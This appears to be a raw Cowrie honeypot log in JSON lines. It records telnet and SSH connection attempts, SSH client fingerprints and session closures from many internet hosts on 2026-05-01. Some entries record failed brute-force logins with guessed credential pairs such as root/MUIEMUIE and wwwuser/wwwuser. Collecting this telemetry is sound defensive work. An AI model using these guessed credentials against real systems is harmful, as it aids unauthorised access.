{"eventid":"cowrie.session.closed","duration":30.998058319091797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:48.073939Z","src_ip":"81.30.157.18","session":"7c822855bf7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.385155200958252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:48.079204Z","src_ip":"81.30.157.18","session":"30869e800d63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73301362991333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:48.141680Z","src_ip":"82.163.78.83","session":"c4a710e404e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843722343444824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:48.159225Z","src_ip":"85.208.100.77","session":"2092d651bcc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":56074,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a316c68b17c","protocol":"telnet","message":"New connection: 173.249.44.46:56074 (159.203.135.109:23) [session: 9a316c68b17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:48.166247Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":37962,"dst_ip":"159.203.135.109","dst_port":23,"session":"7856dd0ba5aa","protocol":"telnet","message":"New connection: 82.163.78.83:37962 (159.203.135.109:23) [session: 7856dd0ba5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:48.282001Z"}
{"eventid":"cowrie.session.closed","duration":31.272448778152466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:48.548779Z","src_ip":"81.30.157.18","session":"0ba890f925eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":57634,"dst_ip":"159.203.135.109","dst_port":23,"session":"887731051730","protocol":"telnet","message":"New connection: 173.249.44.46:57634 (159.203.135.109:23) [session: 887731051730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:49.097707Z"}
{"eventid":"cowrie.session.closed","duration":31.07831335067749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:49.102936Z","src_ip":"173.249.44.46","session":"f812904632fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":57914,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce62eeff136a","protocol":"telnet","message":"New connection: 173.249.44.46:57914 (159.203.135.109:23) [session: ce62eeff136a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:49.312862Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":50376,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec6208e83a5a","protocol":"telnet","message":"New connection: 81.30.157.18:50376 (159.203.135.109:23) [session: ec6208e83a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:49.621376Z"}
{"eventid":"cowrie.session.closed","duration":30.320244312286377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:50.083508Z","src_ip":"81.30.157.18","session":"4019417451ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.219403743743896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:50.160328Z","src_ip":"85.208.100.77","session":"fc18e929b031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":59722,"dst_ip":"159.203.135.109","dst_port":23,"session":"76aacb2239d4","protocol":"telnet","message":"New connection: 173.249.44.46:59722 (159.203.135.109:23) [session: 76aacb2239d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:50.350110Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":57372,"dst_ip":"159.203.135.109","dst_port":23,"session":"b751c44bb285","protocol":"telnet","message":"New connection: 85.208.100.77:57372 (159.203.135.109:23) [session: b751c44bb285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:50.372707Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":50378,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fe2b006eb91","protocol":"telnet","message":"New connection: 81.30.157.18:50378 (159.203.135.109:23) [session: 8fe2b006eb91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:50.841755Z"}
{"eventid":"cowrie.session.closed","duration":30.61450982093811,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:51.053332Z","src_ip":"173.249.44.46","session":"165e81e65d99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.798984050750732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:51.078378Z","src_ip":"149.102.133.101","session":"a52e080c3d63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":50394,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dd14cc1e622","protocol":"telnet","message":"New connection: 81.30.157.18:50394 (159.203.135.109:23) [session: 5dd14cc1e622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:51.308656Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":50406,"dst_ip":"159.203.135.109","dst_port":23,"session":"be140710b882","protocol":"telnet","message":"New connection: 81.30.157.18:50406 (159.203.135.109:23) [session: be140710b882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:51.323217Z"}
{"eventid":"cowrie.session.closed","duration":31.648907899856567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:51.894590Z","src_ip":"81.30.157.18","session":"2c2c04a3d054","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.721858024597168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:52.044697Z","src_ip":"82.163.78.83","session":"fa68bbecfee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428165197372437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:52.057006Z","src_ip":"149.102.133.101","session":"52454e9266ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0571768283844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:52.257900Z","src_ip":"81.30.157.18","session":"0f6ccb57bfa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":33376,"dst_ip":"159.203.135.109","dst_port":23,"session":"75214f686422","protocol":"telnet","message":"New connection: 85.208.100.77:33376 (159.203.135.109:23) [session: 75214f686422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:52.472980Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":55886,"dst_ip":"159.203.135.109","dst_port":23,"session":"c12705f6dac0","protocol":"telnet","message":"New connection: 209.126.84.114:55886 (159.203.135.109:23) [session: c12705f6dac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:52.830611Z"}
{"eventid":"cowrie.session.closed","duration":31.742669105529785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:52.840638Z","src_ip":"149.102.133.101","session":"ef96bd957adc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905078887939453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:53.081424Z","src_ip":"81.30.157.18","session":"5acdfec0b7c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74974489212036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:53.169773Z","src_ip":"85.208.100.77","session":"71ea75452e2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761372089385986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:53.194830Z","src_ip":"173.249.44.46","session":"a4d6acd8d88e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92239999771118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:53.296706Z","src_ip":"173.249.44.46","session":"613be69b52e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":42830,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1459999db50","protocol":"telnet","message":"New connection: 82.163.78.83:42830 (159.203.135.109:23) [session: f1459999db50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:53.407833Z"}
{"eventid":"cowrie.session.closed","duration":30.714395999908447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:54.048176Z","src_ip":"81.30.157.18","session":"8ba534a3430b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06116557121277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:54.133190Z","src_ip":"173.249.44.46","session":"295c42d283fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.045385122299194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:54.225471Z","src_ip":"81.30.157.18","session":"acce2056890b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.225","src_port":60464,"dst_ip":"159.203.135.109","dst_port":22,"session":"7745a201c3d2","protocol":"ssh","message":"New connection: 213.209.159.225:60464 (159.203.135.109:22) [session: 7745a201c3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:54.259226Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50200,"dst_ip":"159.203.135.109","dst_port":23,"session":"0943d810b0e3","protocol":"telnet","message":"New connection: 147.135.136.77:50200 (159.203.135.109:23) [session: 0943d810b0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:54.264179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:54.268433Z","src_ip":"213.209.159.225","session":"7745a201c3d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":37810,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aee0c6e54ea","protocol":"telnet","message":"New connection: 173.249.44.46:37810 (159.203.135.109:23) [session: 5aee0c6e54ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:54.295519Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":44768,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba0562465d8f","protocol":"telnet","message":"New connection: 82.163.78.83:44768 (159.203.135.109:23) [session: ba0562465d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:54.320566Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:54.346210Z","src_ip":"213.209.159.225","session":"7745a201c3d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MUIEMUIE","message":"login attempt [root/MUIEMUIE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:54.668959Z","src_ip":"213.209.159.225","session":"7745a201c3d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.80152654647827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:55.044786Z","src_ip":"82.163.78.83","session":"765c9efe2bdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55377769470215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:55.052921Z","src_ip":"173.249.44.46","session":"7f1ae9d7c69d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.720057010650635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:55.097658Z","src_ip":"81.30.157.18","session":"8c8a62130e9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.548804759979248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:55.146591Z","src_ip":"173.249.44.46","session":"65008dbc3873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86035466194153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:55.218583Z","src_ip":"85.208.100.77","session":"4c07b1c2329c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":33406,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab4097d4dbd1","protocol":"telnet","message":"New connection: 149.102.133.101:33406 (159.203.135.109:23) [session: ab4097d4dbd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:55.333588Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":45748,"dst_ip":"159.203.135.109","dst_port":23,"session":"578e0114ae0c","protocol":"telnet","message":"New connection: 206.189.139.22:45748 (159.203.135.109:23) [session: 578e0114ae0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:55.723848Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:55.757830Z","src_ip":"213.209.159.225","session":"7745a201c3d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.33341646194458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:56.080278Z","src_ip":"81.30.157.18","session":"24f9b1fe63a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.354660987854004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:56.095806Z","src_ip":"173.249.44.46","session":"c66a5ae247f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13267493247986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:56.126872Z","src_ip":"173.249.44.46","session":"04dcdd3d9839","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923686981201172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:56.456258Z","src_ip":"5.189.145.22","session":"b08fedd973f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32309079170227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:56.663313Z","src_ip":"82.163.78.83","session":"47ae4da13308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35384,"dst_ip":"10.17.0.5","dst_port":22,"session":"598d5d18bc12","protocol":"ssh","message":"New connection: 80.94.92.184:35384 (10.17.0.5:22) [session: 598d5d18bc12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:57.006695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:57.072402Z","src_ip":"80.94.92.184","session":"598d5d18bc12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.785460472106934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:57.124583Z","src_ip":"81.30.157.18","session":"025f3c394ed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":33414,"dst_ip":"159.203.135.109","dst_port":23,"session":"457350a9e9df","protocol":"telnet","message":"New connection: 149.102.133.101:33414 (159.203.135.109:23) [session: 457350a9e9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:57.190032Z"}
{"eventid":"cowrie.session.closed","duration":30.97116756439209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:57.206992Z","src_ip":"149.102.133.101","session":"bcc848c9a844","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:57.217297Z","src_ip":"80.94.92.184","session":"598d5d18bc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":43016,"dst_ip":"159.203.135.109","dst_port":23,"session":"670240e5e267","protocol":"telnet","message":"New connection: 173.249.44.46:43016 (159.203.135.109:23) [session: 670240e5e267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:57.301741Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":45048,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c838f2aa793","protocol":"telnet","message":"New connection: 85.208.100.77:45048 (159.203.135.109:23) [session: 9c838f2aa793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:58.042427Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12","message":"login attempt [solv/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:58.107351Z","src_ip":"80.94.92.184","session":"598d5d18bc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":53294,"dst_ip":"159.203.135.109","dst_port":22,"session":"c23e5dcbee56","protocol":"ssh","message":"New connection: 187.16.96.250:53294 (159.203.135.109:22) [session: c23e5dcbee56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:58.151747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:58.157074Z","src_ip":"187.16.96.250","session":"c23e5dcbee56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:58.275954Z","src_ip":"187.16.96.250","session":"c23e5dcbee56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wwwuser","password":"wwwuser","message":"login attempt [wwwuser/wwwuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:58.772764Z","src_ip":"187.16.96.250","session":"c23e5dcbee56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.696439743041992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:58.801500Z","src_ip":"46.101.32.143","session":"b5a595019a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26482892036438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:58.898436Z","src_ip":"173.249.44.46","session":"e8de959d8b76","protocol":"telnet"}
